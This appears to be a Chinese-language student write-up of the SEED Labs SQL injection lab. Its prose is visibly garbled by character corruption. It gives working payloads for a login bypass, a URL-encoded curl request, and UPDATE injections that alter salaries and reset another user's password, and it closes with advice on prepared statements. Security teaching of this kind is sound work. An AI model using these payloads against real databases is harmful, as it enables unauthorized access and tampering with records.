共计 2628 个字符,预计需要花费 7 分钟才能阅读完成。
筹备试验
SeedLab 16 版本试验 SQL Injection Attack Lab
地址 https://seedsecuritylabs.org/Labs_16.04/Web/Web_SQL_Injection/
试验领导 https://seedsecuritylabs.org/Labs_16.04/PDF/Web_SQL_Injection.pdf
参考 https://blog.csdn.net/qq_37672864/article/details/89331585
虚拟机中 /var/www/SQLInjection/
给出了一个 web 我的项目, 本地浏览器拜访 http://www.SEEDLabSQLInjection.com
.
同样虚拟机曾经配装了 MySQL, 指令 mysql -u root -pseedubuntu
可拜访, 于此试验相干的数据库为 User, 库中蕴含表 credential.
use Users;
show tables;
select * from credential;
T2 SQL Injection Attack on SELECT Statement
在登录页 (对应 /var/www/SQLInjection/unsafe home.php
) 插入 SQL 片段来实现工作. 上面是 unsafe home.php
中相干的代码片段.
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
T2.1 SQL Injection Attack from webpage
咱们须要在登录页面的输入框中插入 SQL, 以 Admin 的身份登录.
通过测试, 这段 SQL 是没问题的.
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential
WHERE name = 'Admin' and Password = (select Password from credential where name='Admin');
如果一切顺利, 3 行 Password=
前面的内容就是答案, 然而传入的明码会通过 SHA1 加密, 利用明码的地位插入 SQL 片段不太适合. 所以在用户名地位插入上面的 SQL 片段
Admin'and Password = (select Password from credential where name='Admin') #
最初的 #
会正文掉多余的 SQL.
T2.2 SQL Injection Attack from command line
这个实质和 2.1 一样, 然而它要求仿造申请实现插入, 这里应用零碎携带的 curl 工具.
curl 'www.SeedLabSQLInjection.com//unsafe_home.php?username=Admin%27%20and%20Password%20%3D%20%28select%20Password%20from%20credential%20where%20name%3D%27Admin%27%29%20%23&Password=111'
在申请中呈现的特殊字符须要转成 ASCII 的 16 进制编码, 另外 www.SeedLabSQLInjection.com
前面的 /
貌似须要本义.
T2.3 Append a new SQL statement
这里要求在 2.1 和 2.2 的根底上尝试一次注入两句 SQL,
Admin'and Password = (select Password from credential where name='Admin');
insert into credential(name) values('test') #
这里第二句是一句插入, 增加一个名为 test 的用户.
这一部分没胜利
T3 SQL Injection Attack on UPDATE Statement
有 T2 的根底之后, T3 要简略的多, 次要是体验一下对数据库的批改, 绝对读取数
据, 这种 SQL 注入危害更大.
工作要求在用户的 Edit Profile 页面注入 SQL, /var/www/SQLInjection/unsafe edit backend.php
中对应的代码片段.
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email', address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber'WHERE ID=$id;";
$conn->query($sql);
T3.1 Modify your own salary
批改本人的薪水, 在 phone number 输入框中输出,
', Salary='50000
不过这里要伪装晓得薪水对应的字段是 Salary.
T3.2 Modify other people’salary
批改本人老板 Boby 的薪水, 在 phone number 中增加,
', Salary='1000'where Name='Boby' #
T3.3 Modify other people’password
批改老板 Boby 的明码, 进一步打击报复, 在 address 中增加
', Password='7c4a8d09ca3762af61e59520943dc26494f8941b', PhoneNumber ='' where Name='Boby' #
正如之前提到, 这里的明码要事后通过 SHA1 加密, 明文为 123456.
如何应答 SQL 注入
SQL Server 做了什么
对于 SQL Server, 一条 SQL 语句会被拆解为 SQL 局部与数据局部, 直到最初要写入数据库, SQL 语句都是用 placeholder 来占用数据所在的地位. 按程序实现:
- 对 SQL 语句进行语义查看
- 将 SQL 语句中的关键字 (SELECT 等) 转成机器可执行的代码
- 优化, 抉择最优操作
- 将最优的办法写入缓冲区内
- 将数据与编译实现的 SQL 绑定
- 写入
拆散 SQL 局部与数据局部
利用 Prepared SQL Statement 来提前做好数据的占位, 也就是在一开始将 SQL 局部和数据局部拆散, 避免数据局部危险的内容与 SQL 局部联合, 篡改本意.